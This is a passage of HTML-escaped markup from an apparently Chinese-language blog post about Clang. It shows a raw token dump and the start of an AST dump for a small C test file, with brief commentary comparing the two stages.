&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;        &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;               Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;string_literal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;yes&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;            Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;               Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;raw-tokens&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不会去引用的库里读代码。&lt;&#x2F;p&gt;
&lt;p&gt;其次分析出来的类型也只是字符串本身，没经过归类的属性。比如将空格分类给“unknown&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，上一个实验里它就是“[LeadingSpace]&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;include&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的尖括号，这里也直接分析成大于小于号&lt;&#x2F;p&gt;
&lt;p&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那句和上面类似，只不过叫成了“raw_identifier
&#x27;if&#x27;”&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看语义分析结果：clang test.c -Xclang -ast-dump -c&lt;&#x2F;p&gt;
&lt;p&gt;很好看，是彩色的：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;clang-tree-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-tree-fs8.2ac4a5921ad24c1c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-tree-fs8.1b18bcc3450473b3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-tree-fs8.e990fa63591d8a2e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;clang-tree-fs8.1b18bcc3450473b3.webp&quot;
	alt=&quot;clang-tree&quot;
	
	
	height=&quot;1075&quot;
	width=&quot;1960&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;同样这里只取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;本身的&lt;&#x2F;p&gt;
&lt;p&gt;此时从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;token
stream&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里分析出了具体含义，比如把&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;转换成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FunctionDecl……main……，而且是用树的形式打印的，作用域什么的一目了然（再瞧瞧&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那所谓的“tree&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，里头竟然全是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分割树枝的代码）&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;FunctionDecl &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d090&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt; main &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int ()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;CompoundStmt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d3d8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |-&lt;&#x2F;span&gt;&lt;span&gt;DeclStmt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d1d0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
